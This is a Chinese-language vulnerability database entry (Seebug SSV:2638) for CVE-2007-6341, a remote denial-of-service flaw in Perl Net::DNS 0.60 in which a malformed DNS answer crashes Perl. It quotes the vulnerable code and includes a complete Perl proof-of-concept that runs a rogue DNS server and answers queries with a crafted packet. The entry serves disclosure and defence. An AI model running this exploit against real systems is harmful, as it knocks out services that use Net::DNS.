Perl Net::DNS DNS应答远程拒绝服务漏洞

2007-12-18T00:00:00
ID SSV:2638
Type seebug
Reporter Root
Modified 2007-12-18T00:00:00

Description

BUGTRAQ ID: 26902 CVE ID:CVE-2007-6341

Perl Net::DNS是一款使用Perl实现的DNS解析应用程序。 Perl Net::DNS不正确处理畸形应答请求,远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 问题存在于Net/DNS/RR/A.pm: if ($self->{"rdlength"} > 0) { $self->{"address"} = inet_ntoa(substr($$data, $offset, 4)); } 由于在使用substr时不正确验证$$data有4字节可读,可导致数据发送给inet_ntoa不足够而导致触发如下代码:

ip_address = SvPVbyte(ip_address_sv, addrlen); if (addrlen == sizeof(addr) || addrlen == 4) addr.s_addr = (ip_address[0] & 0xFF) << 24 | (ip_address[1] & 0xFF) << 16 | (ip_address[2] & 0xFF) << 8 | (ip_address[3] & 0xFF); else croak("Bad arg length for %s, length is %d, should be %d", "Socket::inet_ntoa", addrlen, sizeof(addr));

构建恶意的DNS应答可触发此漏洞,并导致PERL崩溃。

Net::DNS Net::DNS 0.60

目前没有解决方案提供: <a href=http://www.net-dns.org/ target=_blank>http://www.net-dns.org/</a>

                                        
                                            
                                                #!/usr/bin/perl
# Beyond Security(c)
# Vulnerability found by beSTORM - DNS Server module

use strict;
use IO::Socket;
my($sock, $oldmsg, $newmsg, $hisaddr, $hishost, $MAXLEN, $PORTNO);
$MAXLEN = 1024;
$PORTNO = 5351;
$sock = IO::Socket::INET-&gt;new(LocalPort =&gt; $PORTNO, Proto =&gt; 'udp') or die &quot;socket: $@&quot;;
print &quot;Awaiting UDP messages on port $PORTNO\n&quot;;

my $oldmsg = &quot;\x5a\x40\x81\x80\x00\x01\x00\x01\x00\x01\x00\x01\x07\x63\x72\x61&quot;.
&quot;\x63\x6b\x6d\x65\x0a\x6d\x61\x73\x74\x65\x72\x63\x61\x72\x64\x03&quot;.
&quot;\x63\x6f\x6d\x00\x00\x01\x00\x01\x03\x77\x77\x77\x0e\x62\x65\x79&quot;.
&quot;\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00&quot;.
&quot;\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04\xc0\xa8\x01\x02\x0e\x62&quot;.
&quot;\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f&quot;.
&quot;\x6d\x00\x00\x02\x00\x01\x00\x00\x00\x01\x00\x1b\x02\x6e\x73\x03&quot;.
&quot;\x77\x77\x77\x0e\x62\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69&quot;.
&quot;\x74\x79\x03\x63\x6f\x6d\x00\x02\x6e\x73\x0e\x62\x65\x79\x6f\x6e&quot;.
&quot;\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00\x00\x01&quot;.
&quot;\x00\x01\x00\x00\x00\x01\x00\x01\x41&quot;;
while ($sock-&gt;recv($newmsg, $MAXLEN)) {
 my($port, $ipaddr) = sockaddr_in($sock-&gt;peername);
 $hishost = gethostbyaddr($ipaddr, AF_INET);
 print &quot;Client $hishost said ``$newmsg''\n&quot;;
 $sock-&gt;send($oldmsg);
 $oldmsg = &quot;[$hishost] $newmsg&quot;;
}
die &quot;recv: $!&quot;;